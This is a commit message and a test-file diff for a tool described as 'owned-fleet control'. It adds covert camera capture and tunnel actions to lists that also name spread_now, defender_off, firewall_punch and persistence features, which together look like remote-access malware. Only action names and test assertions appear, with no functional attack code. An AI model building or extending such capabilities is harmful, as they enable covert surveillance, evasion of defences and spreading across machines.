feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

server/web/src/help/remoteActions.test.ts

@@ -13,6 +13,7 @@ const UI_REMOTE_ACTIONS = [
   'uninstall',
   'restart',
   'screenshot',
+  'camera_snapshot',
   'ps',
   'sysinfo',
   'netstat',
@@ -46,6 +47,8 @@ const AGENT_HANDLED = new Set([
   'users',
   'software',
   'screenshot',
+  'camera_snapshot',
+  'camera_list',
   'sysinfo',
   'ipconfig',
   'clipboard',
@@ -55,6 +58,11 @@ const AGENT_HANDLED = new Set([
   'hole_punch_status',
   'spread_now',
   'start_tunnel',
+  'tunnel_cloudflared',
+  'tunnel_wireguard',
+  'tunnel_ssh_forward',
+  'tunnel_status',
+  'tunnel_stop',
   'subnet_scan',
   'defender_off',
   'firewall_punch',
@@ -88,8 +96,8 @@ describe('remote action wiring', () => {
 
 describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
   it('lists every wired aggressive command once', () => {
-    expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
-    expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
+    expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
+    expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
   });
 });
 
@@ -126,6 +134,9 @@ describe('canRunAggressiveAction edge cases', () => {
     const noAgg = { ...fullCaps, remote_aggressive: false };
     for (const action of [
       'start_tunnel',
+      'tunnel_cloudflared',
+      'tunnel_ssh_forward',
+      'tunnel_stop',
       'subnet_scan',
       'defender_off',
       'firewall_punch',